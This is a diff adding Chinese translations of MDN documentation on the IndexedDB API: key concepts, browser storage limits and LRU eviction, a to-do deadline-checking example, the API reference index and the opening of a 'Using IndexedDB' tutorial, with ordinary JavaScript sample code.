一个对象仓库,专门用来查找另一个对象仓库(object store)中的记录,其中被查找的对象仓库被称为引用对象仓库。索引(index)是一个稳定的键值对(key-value)存储,其记录中的值(value)是引用对象仓库记录中的键(key)。当引用对象仓库中的记录新增、更新或删除时,索引中的记录会自动的进行粒子性增加。索引中的每一条记录只能指向引用对象仓库中的一条记录,但多个索引可以引用同一个对象仓库。当对象仓库发生改变时,所有引用该对象仓库的引用均会自动更新。

+ +

可选地,你也可以适用键(key)再对象仓库中查找记录。

+ +

了解更多关于如何适用索引,查看使用 IndexedDB。index 的参考文档查看 IDBKeyRange

+
+
+ +

键和值

+ +
+
键(key)
+
在对象仓库中阻止和检索被存储起来的值的数据值。数据仓库的键来源于以下三个方式之一:键生成器、键路径和显式指定的值。键必须是一种能够比较大小的数据类型。在同一个对象仓库中每条记录必须有一个独一无二的键,所以你不能在同一个对象仓库中为多个记录设置同样的键。
+
+

键可以是以下数据类型:字符串、日期、浮点和数组。对于数组,键的取值可以从空数组到无穷。并且你可以使用嵌套数组。注意,在 Firefox 11 之前的版本键只接受字符串和整形。

+ +

可选地,你也可以通过索引(index)来查找记录。

+
+
键生成器(key generator)
+
一种生成有序键的机制。如果一个对象仓库并不具备一个键生成器,那么应用程序必须为被存储的记录提供键。生成器在仓库之间并不共享。它更多的是浏览器的实现细节,因为在 Web 开发中你并不会真正的去创建或访问键生成器。
+
内键(in-line key)
+
作为存储值一部分的键。内键由键路径(key path)查找。内键由生成器生成。当内键生成后,它会被键路径存储在值中,它也可以被当作键使用。
+
外键(out-of-line key)
+
与值分开存储的键。
+
键路径(key path)
+
指定浏览器如何从对象仓库或索引存储的值中提取键。一个合法的键路径可以是以下形式:一个空字符串,一个 JavasScript 标识符,或由句点分割的多个 JavaScript 标识符。但不能包括空格。
+
值(value)
+
每条记录包含一个值,该值可以包含任何 JavaScript 表达式,包括:布尔数字字符串日期对象数组正则未定义和 null。
+
+

对于对象和数组,它们的属性和值也可以是任意合法的值。

+ +

规范允许你存储文件和二进制对象,但该标准只被 Firefox 11+ 实现。

+
+
+ +

范围和作用域

+ +
+
作用域(scope)
+
事务所作用的一组对象仓库或索引。只读事务的作用域可以相互重叠并同时执行操作。但写操作事务的作用域不可以相互重叠。但你仍然可以同时开启多个拥有相同作用域的事务,只要保证他们的操作不会同时执行。
+
游标(cursor)
+
在键的某个范围内迭代查询多条记录的机制。游标有一个指向正在被迭代的对象仓库或索引的源。它处于该范围内的一个位置,并按照键的顺序正向或逆向的移动。有关游标的参考文档,查看 IDBCursorIDBCursorSync
+
键范围(key range)
+
用做键的数据类型上的连续的间隔。使用键或键的某个范围可以从对象仓库和索引中读取记录。你可以通过上限和下限设置和筛选范围。比如,你可以遍历 x 和 y 之间所有的键值。
+
有关键范围的参考文档,查看 IDBKeyRange.
+
+ +

局限性

+ +

以下情况不适合使用IndexedDB

+ + + +

注意,在以下情况下,数据库可能被清除:

+ + + +

确切的环境和浏览器特性会随着时间改变,但浏览器厂商通常会遵循尽最大努力保留数据的理念。

+ +

下一步

+ +

查看如何使用的文档: Using IndexedDB.

+ +

相关文章

+ + diff --git a/files/zh-cn/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html b/files/zh-cn/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html new file mode 100644 index 0000000000..7934d15e70 --- /dev/null +++ b/files/zh-cn/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html @@ -0,0 +1,132 @@ +--- +title: IndexedDB 浏览器存储限制和清理标准 +slug: Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria +tags: + - Database + - IndexedDB + - LRU + - Storage + - client-side + - eviction + - limit +translation_of: Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria +--- +
{{DefaultAPISidebar("IndexedDB")}}
+ +

有许多Web技术可以在客户端(即本地磁盘上)存储这种或那种数据。浏览器计算分配给Web数据存储的空间大小以及达到该限制时要删除的内容的过程并不简单,并且浏览器之间有所不同。本文介绍了浏览器如何确定要清除的本地内容以及何时释放所需的本地存储空间。

+ +
+

注意: 对于大多数现代浏览器,以下信息应该相当准确,但在已知的情况下会调出特定于浏览器的信息。Opera和Chrome在所有情况下都应该表现相同。Opera Mini(仍然是基于presto的,服务器端呈现)不会在客户端上存储任何数据。

+
+ +

什么技术使用浏览器数据存储?

+ +

在Firefox中,以下技术利用浏览器数据存储在需要时存储数据。在这种情况下,我们将它们称为“配额客户”:

+ + + +
+

注意:在Firefox中,Web Storage也将很快开始使用相同的存储管理工具,如本文档中所述。

+
+ +
+

注意:在隐私浏览模式下,大多数数据存储不被支持。本地存储数据和cookie仍然可用,但它们是短暂的 ——当关闭最后一个隐私浏览窗口时,数据将被删除。

+
+ +

源的“最后访问时间”会更新,当其中任何一个被激活/停用时——所有这些源下的配额客户端的数据会被回收。

+ +

在Chrome/Opera中,Quota Management API处理AppCacheIndexedDB,WebSQL和File System API的配额管理。

+ +

数据存储的不同类型

+ +

即使在相同的浏览器、使用相同的存储方法,仍然存在不同的数据存储方法需要我们搞清楚。这部分我们讨论那些在不同浏览器之间的不同之处。

+ +

一般来说,数据存储的的类型主要有以下两种:

+ + + +

在Firefox中,当使用持久存储时,会向用户提供一个UI弹出窗口,提醒他们这些数据将持续存在,并询问他们是否对此感到满意。临时数据存储不会引发任何用户提示。

+ +

默认的是临时存储;开发人员可以选择使用{{domxref("StorageManager.persist()")}}方法使用持久储存。

+ +

数据存储在哪里?

+ +

每种存储类型代表一个单独的存储库。这是用户Firefox配置文件下目录的实际映射(其他浏览器可能略有不同):

+ + + +
+

注意:引入Storage API后,“permanent”文件夹可以被认为是过时的;“permanent”文件夹仅存储IndexedDB持久性数据库。模式是“best-effort”还是“persistent”并不重要——数据存储在<profile>/storage/default下。

+
+ +
+

注意:在Firefox中,可以通过about:support在URL栏中输入,然后按“ 配置文件夹”标题旁边“在...中显示...”按钮(例如,在Mac OS X上的“在Finder中显示”)来查找您的配置文件文件夹

+
+ +
+

注意:如果您在存储的数据中查看配置文件,您可能会看到第四个文件夹:persistent基本上,该persistent文件夹刚刚重命名为permanent以保持升级/迁移更简单。

+
+ +

注意:用户不应在其下添加自己的目录或文件到<profile>/storage这将导致存储初始化失败;例如,{{domxref("IDBFactory.open()","open()")}}会触发错误事件。

+ +

储存限制

+ +

浏览器的最大存储空间是动态的——它取决于您的硬盘大小。 全局限制为可用磁盘空间的50%。 在Firefox中,一个名为Quota Manager的内部浏览器工具会跟踪每个源用尽的磁盘空间,并在必要时删除数据。

+ +

因此,如果您的硬盘驱动器是500GB,那么浏览器的总存储容量为250GB。如果超过此范围,则会发起称为源回收的过程,删除整个源的数据,直到存储量再次低于限制。删除源数据没有只删一部分的说法——因为这样可能会导致不一致的问题。

+ +

还有另一个限制称为组限制——这被定义为全局限制的20%,但它至少有10 MB,最大为2GB。 每个源都是一组(源组)的一部分。 每个eTLD+1域都有一个组。 例如:

+ + + +

在这个组中,mozilla.orgwww.mozilla.orgjoe.blogs.mozilla.org可以聚合使用最多20%的全局限制。 firefox.com单独最多使用20%。

+ +

达到限制后有两种不同的反应:

+ + + +
+

注意:尽管上面提到了最小组限制,但组限制不能超过全局限制。如果您的内存非常低,全局限制为8 MB,则组限制也将为8 MB。

+
+ +
+

注意:如果超出组限制,或者如果原因驱逐无法释放足够的空间,浏览器将抛出QuotaExceededError错误。

+
+ +
+

注意:在Chrome中,自M66以来,软硬存储配额限制已发生变化。 更多信息可以在这里找到。

+
+ +

LRU策略

+ +

当可用磁盘空间已满时,配额管理器将根据LRU策略开始清除数据——最近最少使用的源将首先被删除,然后是下一个,直到浏览器不再超过限制。

+ +

我们使用临时存储跟踪每个源的“上次访问时间”。 一旦达到临时存储的全局限制(之后会有更多限制),我们将尝试查找所有当前未使用的源(即没有打开选项卡/应用程序的那些来保持打开的数据存储)。 然后根据“上次访问时间”对它们进行排序。 然后删除最近最少使用的源,直到有足够的空间来满足触发此源回收的请求。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/indexeddb_api/checking_when_a_deadline_is_due/index.html b/files/zh-cn/web/api/indexeddb_api/checking_when_a_deadline_is_due/index.html new file mode 100644 index 0000000000..e1025c000a --- /dev/null +++ b/files/zh-cn/web/api/indexeddb_api/checking_when_a_deadline_is_due/index.html @@ -0,0 +1,208 @@ +--- +title: Checking when a deadline is due +slug: Web/API/IndexedDB_API/Checking_when_a_deadline_is_due +translation_of: Web/API/IndexedDB_API/Checking_when_a_deadline_is_due +--- +
{{DefaultAPISidebar("IndexedDB")}}
+ +
+

在本文中,我们将看一个复杂的示例,该示例涉及根据IndexedDB存储的截止日期检查当前时间和日期。这里的主要复杂因素是检查存储的截止日期信息(月,小时,日等)与Date对象的当前时间和日期。

+
+ +

A screenshot of the sample app. A red main title saying To do app, a test to-do item, and a red form for users to enter new tasks

+ +

The main example application we will be referring to in this article is To-do list notifications, a simple to-do list application that stores task titles and deadline times and dates via IndexedDB, and then provides users with notifications when deadline dates are reached, via the Notification, and Vibration APIs. You can download the To-do list notifications app from github and play around with the source code, or view the app running live.

+ +

基本问题

+ +

在待办事项应用程序中,我们希望首先以显示时机器可读和人类可理解的格式记录时间和日期信息,然后检查每个时间和日期是否在当前时刻发生。基本上,我们想要检查现在的时间和日期,然后检查每个存储的事件,看看他们的截止日期是否与当前时间和日期相匹配。如果他们这样做,我们希望通过某种通知让用户知道。

+ +

This would be easy if we were just comparing two {{jsxref("Global_Objects/Date", "Date")}} objects, but of course humans don't want to enter deadline information in the same format JavaScript understands. Human-readable dates are quite different, with a number of different representations.

+ +

Recording the date information

+ +

为了在移动设备上提供合理的用户体验,并减少歧义,我决定创建一个HTML表单:

+ +

The form of the to-do app, containing fields to fill in a task title, and minute, hour, day, month and year values for the deadline.

+ + + +

当我们点击submit按钮是, 将会运行函数 addData() , 示例:

+ +
function addData(e) {
+  e.preventDefault();
+
+  if(title.value == '' || hours.value == null || minutes.value == null || day.value == '' || month.value == '' || year.value == null) {
+    note.innerHTML += '<li>Data not submitted — form incomplete.</li>';
+    return;
+  }
+
+ +

In this segment, we check to see if the form fields have all been filled in. If not, we drop a message into our developer notifications pane (see the bottom left of the app UI) to tell the user what is going on, and exit out of the function. This step is mainly for browsers that don't support HTML form validation (I have used the required attribute in my HTML to force validation, in those that do.)

+ +
   else {
+    var newItem = [
+      {
+        taskTitle: title.value,
+        hours    : hours.value,
+        minutes  : minutes.value,
+        day      : day.value,
+        month    : month.value,
+        year     : year.value,
+        notified : "no"
+      }
+    ];
+
+    // open a read/write db transaction, ready for adding the data
+    var transaction = db.transaction(["toDoList"], "readwrite");
+
+    // report on the success of opening the transaction
+    transaction.oncomplete = function(event) {
+      note.innerHTML += '<li>Transaction opened for task addition.</li>';
+    };
+
+    transaction.onerror = function(event) {
+      note.innerHTML += '<li>Transaction not opened due to error. Duplicate items not allowed.</li>';
+    };
+
+    // create an object store on the transaction
+    var objectStore = transaction.objectStore("toDoList");
+
+    // add our newItem object to the object store
+    var request = objectStore.add(newItem[0]); 
+ +

In this section we create an object called newItem that stores the data in the format required to insert it into the database. The next few lines open the database transaction and provide messages to notify the user if this was successful or failed.Then an objectStore is created into which the new item is added. The notified property of the data object indicates that the to-do list item's deadline has not yet come up and been notified - more on this later!

+ +
+

Note: The db variable stores a reference to the IndexedDB database instance; we can then use various properties of this variable to manipulate the data.

+
+ +
+    request.onsuccess = function(event) {
+
+      note.innerHTML += '<li>New item added to database.</li>';
+
+      title.value = '';
+      hours.value = null;
+      minutes.value = null;
+      day.value = 01;
+      month.value = 'January';
+      year.value = 2020;
+    };
+  }
+ +

下一节将创建一条日志消息,说明新项目添加成功,并重置表单,以便为下一个任务输入做好准备。

+ +
+  // update the display of data to show the newly added item, by running displayData() again.
+  displayData();
+};
+ +

Last of all, we run the displayData() function, which updates the display of data in the app to show the new task that was just entered.

+ +

Checking whether a deadline has been reached

+ +

At this point our data is in the database; now we want to check whether any of the the deadlines have been reached. This is done by our checkDeadlines() function:

+ +
function checkDeadlines() {
+  var now = new Date();
+ +

First we grab the current date and time by creating a blank Date object. Easy huh? It's about to get a bit more complex.

+ +
  var minuteCheck  = now.getMinutes();
+  var hourCheck    = now.getHours();
+  var dayCheck     = now.getDate();
+  var monthCheck   = now.getMonth();
+  var yearCheck    = now.getFullYear();
+
+ +

The Date object has a number of methods to extract various parts of the date and time inside it. Here we fetch the current minutes (gives an easy numerical value), hours (gives an easy numerical value), day of the month (getDate() is needed for this, as getDay() returns the day of the week, 1-7), month (returns a number from 0-11, see below), and year (getFullYear() is needed; getYear() is deprecated, and returns a weird value that is not much use to anyone!)

+ +
   var objectStore = db.transaction(['toDoList'], "readwrite").objectStore('toDoList');
+
+  objectStore.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+
+    if(cursor) {
+ +

Next we create another IndexedDB objectStore, and use the openCursor() method to open a cursor, which is basically a way in IndexedDB to iterate through all the items in the store. We then loop through all the items in the cursor for as long as there is a valid item left in the cursor.

+ +
      switch(cursor.value.month) {
+        case "January":
+          var monthNumber = 0;
+          break;
+        case "February":
+          var monthNumber = 1;
+          break;
+
+        // other lines removed from listing for brevity
+
+        case "December":
+          var monthNumber = 11;
+          break;
+        default:
+          alert('Incorrect month entered in database.');
+      }
+ +

我们要做的第一件事是将我们存储在数据库中的月份名称转换为JavaScript将理解的月份号码。如前所述,JavaScript Date对象将月份值创建为0到11之间的数字。   

+ +
      if(+(cursor.value.hours) == hourCheck &&
+         +(cursor.value.minutes) == minuteCheck &&
+         +(cursor.value.day) == dayCheck &&
+         monthNumber == monthCheck &&
+         cursor.value.year == yearCheck &&
+         notified == "no") {
+
+        // If the numbers all do match, run the createNotification()
+        // function to create a system notification
+        createNotification(cursor.value.taskTitle);
+      }
+ +

With the current time and date segments that we want to check against the IndexedDB stored values all assembled, it is time to perform the checks. We want all the values to match before we show the user some kind of notification to tell them their deadline is up.

+ +

The + operator in this case converts numbers with leading zeros into their non leading zero equivalents, e.g. 09 -> 9. This is needed because JavaScript Date number values never have leading zeros, but our data might.

+ +

The notified == "no" check is designed to make sure you will only get one notification per to-do item. When a notification is fired for each item object, its notification property is set to "yes" so this check will not pass on the next iteration, via the following code inside the createNotification() function (read Using IndexedDB for an explanation):

+ +
    // now we need to update the value of notified to "yes" in this particular data object, so the
+    // notification won't be set off on it again
+
+    // first open up a tranaction as usual
+    var objectStore = db.transaction(['toDoList'], "readwrite").objectStore('toDoList');
+
+    // get the to-do list object that has this title as it's title
+    var request = objectStore.get(title);
+
+    request.onsuccess = function() {
+      // grab the data object returned as the result
+      var data = request.result;
+
+      // update the notified value in the object to "yes"
+      data.notified = "yes";
+
+      // create another request that inserts the item back into the database
+      var requestUpdate = objectStore.put(data);
+
+      // when this new request succeeds, run the displayData() function again to update the display
+      requestUpdate.onsuccess = function() {
+        displayData();
+      }
+ +

If the checks all match, we then run the createNotification() function to provide a notification to the user.

+ +
       cursor.continue();
+    }
+  }
+}
+ +

该函数的最后一行将光标移开,这导致上述截止日期检查机制为存储在IndexedDB中的下一个任务运行。

+ +

Keep on checking!

+ +

Of course, it is no use to just run the above deadline checking function once! We want to keep constantly checking all the deadlines to see if any of them are being reached. To do this, we are simply using setInterval() to run checkDeadlines() once per second:

+ +
setInterval(checkDeadlines, 1000);
diff --git a/files/zh-cn/web/api/indexeddb_api/index.html b/files/zh-cn/web/api/indexeddb_api/index.html new file mode 100644 index 0000000000..ca8c7791b1 --- /dev/null +++ b/files/zh-cn/web/api/indexeddb_api/index.html @@ -0,0 +1,155 @@ +--- +title: IndexedDB +slug: Web/API/IndexedDB_API +tags: + - IndexedDB + - IndexedDB API + - Object Storage + - Workers + - localforage +translation_of: Web/API/IndexedDB_API +--- +

{{DefaultAPISidebar("IndexedDB")}}

+ +

IndexedDB 是一种底层 API,用于在客户端存储大量的结构化数据(也包括文件/二进制大型对象(blobs))。该 API 使用索引实现对数据的高性能搜索。虽然 Web Storage 在存储较少量的数据很有用,但对于存储更大量的结构化数据来说力不从心。而 IndexedDB 提供了这种场景的解决方案。本页面 MDN IndexedDB 的主要引导页 - 这里,我们提供了完整的 API 参考和使用指南,浏览器支持细节,以及关键概念的一些解释的链接。

+ +

{{AvailableInWorkers}}

+ +
+

注意:IndexedDB API是强大的,但对于简单的情况可能看起来太复杂。如果你更喜欢一个简单的API,请尝试  localForagedexie.jsPouchDBidbidb-keyvalJsStore 或者 lovefield  之类的库,这些库使 IndexedDB 对开发者来说更加友好。

+
+ +

关键概念和用法

+ +

IndexedDB 是一个事务型数据库系统,类似于基于 SQL 的 RDBMS。 然而,不像 RDBMS 使用固定列表,IndexedDB 是一个基于 JavaScript 的面向对象数据库。IndexedDB 允许您存储和检索用索引的对象;可以存储结构化克隆算法支持的任何对象。您只需要指定数据库模式,打开与数据库的连接,然后检索和更新一系列事务

+ + + +
+

注意: 正如大多数的 web 储存解决方案一样,IndexedDB 也遵守同源策略。因此当你在某个域名下操作储存数据的时候,你不能操作其他域名下的数据。

+
+ +

同步和异步(Synchronous、asynchronous)

+ +

使用 IndexedDB 执行的操作是异步执行的,以免阻塞应用程序。IndexedDB 最初包括同步和异步 API。同步 API 仅用于 Web Workers,且已从规范中移除,因为尚不清晰是否需要。但如果 Web 开发人员有足够的需求,可以重新引入同步 API。

+ +

储存限制和回收标准

+ +

有许多 Web 技术在客户端(即本地磁盘)存储各种数据。IndexedDB 是最常见的一个。浏览器计算分配给 Web 数据存储的空间以及达到该限制时要删除的内容的过程并不简单,并且在浏览器之间有所不同。浏览器存储限制和回收标准尝试解释这是如何工作的,至少在火狐的情况下是如此。

+ +

接口

+ +

为了获取数据库的访问权限,需要在 window 对象的 indexedDB 属性上调用 open() 方法。该方法返回一个 {{domxref("IDBRequest")}} 对象;异步操作通过在 {{domxref("IDBRequest")}} 对象上触发事件来和调用程序进行通信。

+ +

连接数据库

+ +
+
{{domxref("IDBEnvironment")}}
+
提供 IndexedDB 功能。它由 {{domxref("window")}} 和 {{domxref("worker")}} 实现,这个接口不再是 2.0 规范的一部分。
+
{{domxref("IDBFactory")}}
+
提供数据库访问。这是全局对象 {{domxref("WindowOrWorkerGlobalScope/indexedDB", "indexedDB")}} 实现的接口,因此是 API 的入口。
+
{{domxref("IDBOpenDBRequest")}}
+
表示一个打开数据库的请求。
+
{{domxref("IDBDatabase")}}
+
表示一个数据库连接。这是在数据库中获取事务的唯一方式。
+
+

接收和修改数据

+
+
{{domxref("IDBTransaction")}}
+
表示一个事务。在数据库上创建一个事务,指定作用域(例如要访问的存储对象),并确定所需的访问类型(只读或读写)。
+
{{domxref("IDBRequest")}}
+
处理数据库请求并提供对结果访问的通用接口。
+
{{domxref("IDBObjectStore")}}
+
表示允许访问通过主键查找的 IndexedDB 数据库中的一组数据的对象存储区。
+
{{domxref("IDBIndex")}}
+
也是为了允许访问 IndexedDB 数据库中的数据子集,但使用索引来检索记录而不是主键。这有时比使用 IDBObjectStore 更快
+
{{domxref("IDBCursor")}}
+
迭代对象存储和索引。
+
{{domxref("IDBCursorWithValue")}}
+
迭代对象存储和索引并返回游标的当前值。
+
{{domxref("IDBKeyRange")}}
+
定义可用于从特定范围内的数据库检索数据的键范围。
+
{{domxref("IDBLocaleAwareKeyRange")}} {{Non-standard_inline}}
+
定义一个键范围,可用于从特定范围内的数据库中检索数据,并根据为特定索引指定的语言环境的规则进行排序(详见 createIndex() 的参数)。这个接口不再是 2.0 规范的一部分。
+
+

自定义事件接口

+ +

此规范使用以下自定义接口触发事件:

+
+
{{domxref("IDBVersionChangeEvent")}}
+
作为 {{domxref("IDBOpenDBRequest.onupgradeneeded")}} 事件的处理程序的结果,IDBVersionChangeEvent 接口表示数据库的版本已经发生了改变。
+
+

过时的接口

+ +

规范的早期版本还定义了这些现在已删除的接口。这些文档便于您需要更新以前编写的代码

+
+
{{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}}
+
表示更改数据库版本的请求。改变数据库版本的方法已经改变了(通过调用{{domxref("IDBFactory.open")}} 而非{{domxref("IDBDatabase.setVersion")}}),接口{{domxref("IDBOpenDBRequest")}} 现在拥有{{domxref("IDBVersionChangeRequest")}}。
+
{{domxref("IDBDatabaseException")}}  {{obsolete_inline}}
+
表示执行数据库操作时可能遇到的异常情况。
+
{{domxref("IDBTransactionSync")}} {{obsolete_inline}}
+
同步版本的 {{domxref("IDBTransaction")}}。
+
{{domxref("IDBObjectStoreSync")}} {{obsolete_inline}}
+
同步版本的 {{domxref("IDBObjectStore")}}。
+
{{domxref("IDBIndexSync")}} {{obsolete_inline}}
+
同步版本的 {{domxref("IDBIndex")}}。
+
{{domxref("IDBFactorySync")}} {{obsolete_inline}}
+
同步版本的 {{domxref("IDBFactory")}}。
+
{{domxref("IDBEnvironmentSync")}} {{obsolete_inline}}
+
同步版本的 {{domxref("IDBEnvironment")}}。
+
{{domxref("IDBDatabaseSync")}} {{obsolete_inline}}
+
同步版本的 {{domxref("IDBDatabase")}}。
+
{{domxref("IDBCursorSync")}} {{obsolete_inline}}
+
同步版本的 {{domxref("IDBCursor")}}。
+
+ +

示例

+ + + +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("IndexedDB 2")}}{{Spec2("IndexedDB 2")}}
{{SpecName('IndexedDB')}}{{Spec2('IndexedDB')}}Initial definition
+ +

参见

+ + diff --git a/files/zh-cn/web/api/indexeddb_api/using_indexeddb/index.html b/files/zh-cn/web/api/indexeddb_api/using_indexeddb/index.html new file mode 100644 index 0000000000..863c4a3ad1 --- /dev/null +++ b/files/zh-cn/web/api/indexeddb_api/using_indexeddb/index.html @@ -0,0 +1,1340 @@ +--- +title: 使用 IndexedDB +slug: Web/API/IndexedDB_API/Using_IndexedDB +tags: + - IndexedDB + - 中文 + - 入门 + - 教程 + - 文档 +translation_of: Web/API/IndexedDB_API/Using_IndexedDB +--- +

{{DefaultAPISidebar("IndexedDB")}}

+ +

IndexedDB 是一种可以让你在用户的浏览器内持久化存储数据的方法。IndexedDB 为生成 Web Application 提供了丰富的查询能力,使我们的应用在在线和离线时都可以正常工作。

+ +

关于本文档

+ +

本篇教程将教会你如何使用 IndexedDB 的异步 API。如果你对 IndexedDB 还不熟悉,你应该首先阅读有关 IndexedDB 的基本概念

+ +

有关 IndexedDB API 的参考手册,请参见 IndexedDB 这篇文章及其子页面,包括 IndexedDB 使用的对象类型,以及异步 API(同步 API 已从规范中删除)。

+ +

基本模式

+ +

IndexedDB 鼓励使用的基本模式如下所示:

+ +
    +
  1. 打开数据库。
  2. +
  3. 在数据库中创建一个对象仓库(object store)。
  4. +
  5. 启动一个事务,并发送一个请求来执行一些数据库操作,像增加或提取数据等。
  6. +
  7. 通过监听正确类型的 DOM 事件以等待操作完成。
  8. +
  9. 在操作结果上进行一些操作(可以在 request 对象中找到)
  10. +
+ +

有了这些提纲,我们可以进行更具体的探讨。

+ +

生成和构建一个对象存储空间

+ +

由于 IndexedDB 本身的规范还在持续演进中,当前的 IndexedDB 的实现还是使用浏览器前缀。在规范更加稳定之前,浏览器厂商对于标准 IndexedDB API 可能都会有不同的实现。但是一旦大家对规范达成共识的话,厂商就会不带前缀标记地进行实现。实际上一些实现已经移除了浏览器前缀:IE 10,Firefox 16 和 Chrome 24。当使用前缀的时候,基于 Gecko 内核的浏览器使用 moz 前缀,基于 WebKit 内核的浏览器会使用 webkit 前缀。

+ +

使用实验版本的 IndexedDB

+ +

如果你希望在仍旧使用前缀的浏览器中测试你的代码, 可以使用下列代码:  

+ +
// In the following line, you should include the prefixes of implementations you want to test.
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// DON'T use "var indexedDB = ..." if you're not in a function.
+// Moreover, you may need references to some window.IDB* objects:
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange
+// (Mozilla has never prefixed these objects, so we don't need window.mozIDB*)
+ +

要注意的是使用前缀的实现可能会有问题,或者是实现的并不完整,也可能遵循的还是旧版的规范。因此不建议在生产环境中使用。我们更倾向于明确的不支持某一浏览器,而不是声称支持但是实际运行中却出问题:

+ +
if (!window.indexedDB) {
+    window.alert("Your browser doesn't support a stable version of IndexedDB. Such and such feature will not be available.")
+}
+
+ +

打开数据库

+ +

我们像下面这样开始整个过程:

+ +
// 打开我们的数据库
+var request = window.indexedDB.open("MyTestDatabase");
+
+ +

看到了吗? 打开数据库就像任何其他操作一样 — 你必须进行 "request"。

+ +

open 请求不会立即打开数据库或者开始一个事务。 对 open() 函数的调用会返回一个我们可以作为事件来处理的包含 result(成功的话)或者错误值的 IDBOpenDBRequest 对象。在 IndexedDB 中的大部分异步方法做的都是同样的事情 - 返回一个包含 result 或错误的 IDBRequest 对象。open 函数的结果是一个 IDBDatabase 对象的实例。

+ +

该 open 方法接受第二个参数,就是数据库的版本号。数据库的版本决定了数据库架构,即数据库的对象仓库(object store)和他的结构。如果数据库不存在,open 操作会创建该数据库,然后 onupgradeneeded 事件被触发,你需要在该事件的处理函数中创建数据库模式。如果数据库已经存在,但你指定了一个更高的数据库版本,会直接触发 onupgradeneeded 事件,允许你在处理函数中更新数据库模式。我们在后面的更新数据库的版本号和 {{ domxref("IDBFactory.open") }} 中会提到更多有关这方面的内容。

+ +
+

重要的:版本号是一个 unsigned long long 数字,这意味着它可以是一个特别大的数字,但不能使用浮点数,否则它将会被转变成离它最近的整数,这可能导致 upgradeneeded 事件不会被触发。例如,不要使用 2.4 作为版本号。
+ var request = indexedDB.open("MyTestDatabase", 2.4); // 不要这么做,因为版本会被置为 2。

+
+ +

生成处理函数

+ +

几乎所有我们产生的请求我们在处理的时候首先要做的就是添加成功和失败处理函数:

+ +
request.onerror = function(event) {
+  // Do something with request.errorCode!
+};
+request.onsuccess = function(event) {
+  // Do something with request.result!
+};
+ +

onsuccess() 和 onerror() 这两个函数哪个被调用呢?如果一切顺利的话,一个 success 事件(即一个 type 属性被设置成 "success" 的 DOM 事件)会被触发,request 会作为它的 target。 一旦它被触发的话,相关 requestonsuccess() 处理函数就会被触发,使用 success 事件作为它的参数。 否则,如果不是所有事情都成功的话,一个 error 事件(即 type 属性被设置成 "error" 的 DOM 事件) 会在 request 上被触发。这将会触发使用 error 事件作为参数的 onerror() 方法。

+ +

IndexedDB 的 API 被设计来尽可能地减少对错误处理的需求,所以你可能不会看到有很多的错误事件(起码,不会在你已经习惯了这些 API 之后!)。然而在打开数据库的情况下,还是有一些会产生错误事件的常见情况。最有可能出现的问题是用户决定不允许你的 web app 访问以创建一个数据库。IndexedDB 的主要设计目标之一就是允许大量数据可以被存储以供离线使用。(要了解关于针对每个浏览器你可以有多少存储空间的更多内容,请参见 存储限制)。  

+ +

显然,浏览器不希望允许某些广告网络或恶意网站来污染你的计算机,所以浏览器会在任意给定的 web app 首次尝试打开一个 IndexedDB 存储时对用户进行提醒。用户可以选择允许访问或者拒绝访问。还有,IndexedDB 在浏览器的隐私模式(Firefox 的 Private Browsing 模式和 Chrome 的 Incognito 模式)下是被完全禁止的。 隐私浏览的全部要点在于不留下任何足迹,所以在这种模式下打开数据库的尝试就失败了。

+ +

现在,假设用户已经允许了你的要创建一个数据库的请求,同时你也已经收到了一个来触发 success 回调的 success 事件;然后呢?这里的 request 是通过调用 indexedDB.open() 产生的, 所以 request.result 是一个 IDBDatabase 的实例,而且你肯定希望把它保存下来以供后面使用。你的代码看起来可能像这样:

+ +
var db;
+var request = indexedDB.open("MyTestDatabase");
+request.onerror = function(event) {
+  alert("Why didn't you allow my web app to use IndexedDB?!");
+};
+request.onsuccess = function(event) {
+  db = event.target.result;
+};
+
+ +

错误处理

+ +

如上文所述,错误事件遵循冒泡机制。错误事件都是针对产生这些错误的请求的,然后事件冒泡到事务,然后最终到达数据库对象。如果你希望避免为所有的请求都增加错误处理程序,你可以替代性的仅对数据库对象添加一个错误处理程序,像这样:

+ +
db.onerror = function(event) {
+  // Generic error handler for all errors targeted at this database's
+  // requests!
+  alert("Database error: " + event.target.errorCode);
+};
+
+ +

在打开数据库时常见的可能出现的错误之一是 VER_ERR。这表明存储在磁盘上的数据库的版本高于你试图打开的版本。这是一种必须要被错误处理程序处理的一种出错情况。

+ +

创建和更新数据库版本号

+ +

当你创建一个新的数据库或者增加已存在的数据库的版本号(当{{ anch("打开数据库")}}时,指定一个比之前更大的版本号), onupgradeneeded 事件会被触发,IDBVersionChangeEvent 对象会作为参数传递给绑定在 request.result(例如例子中的 db)上的 onversionchange 事件处理函数,你应该在此创建该版本需要的对象仓库(object store)。

+ +

要更新数据库的 schema,也就是创建或者删除对象存储空间,需要实现 onupgradeneeded 处理程序,这个处理程序将会作为一个允许你处理对象存储空间的 versionchange 事务的一部分被调用。

+ +
// 该事件仅在较新的浏览器中实现了
+request.onupgradeneeded = function(event) {
+  // 保存 IDBDataBase 接口
+  var db = event.target.result;
+
+  // 为该数据库创建一个对象仓库
+  var objectStore = db.createObjectStore("name", { keyPath: "myKey" });
+};
+ +

在这种情况下,数据库会保留之前版本数据库的对象仓库(object store),因此你不必再次创建这些对象仓库。你需要创建新的对象仓库,或删除不再需要的上一版本中的对象仓库。如果你需要修改一个已存在的对象仓库(例如要修改 keyPath),你必须先删除原先的对象仓库然后使用新的设置创建。(注意,这样会丢失对象仓库里的数据,如果你需要保存这些信息,你要在数据库版本更新前读取出来并保存在别处)。

+ +

尝试创建一个与已存在的对象仓库重名(或删除一个不存在的对象仓库)会抛出错误。

+ +

如果 onupgradeneeded 事件成功执行完成,打开数据库请求的 onsuccess 处理函数会被触发。

+ +

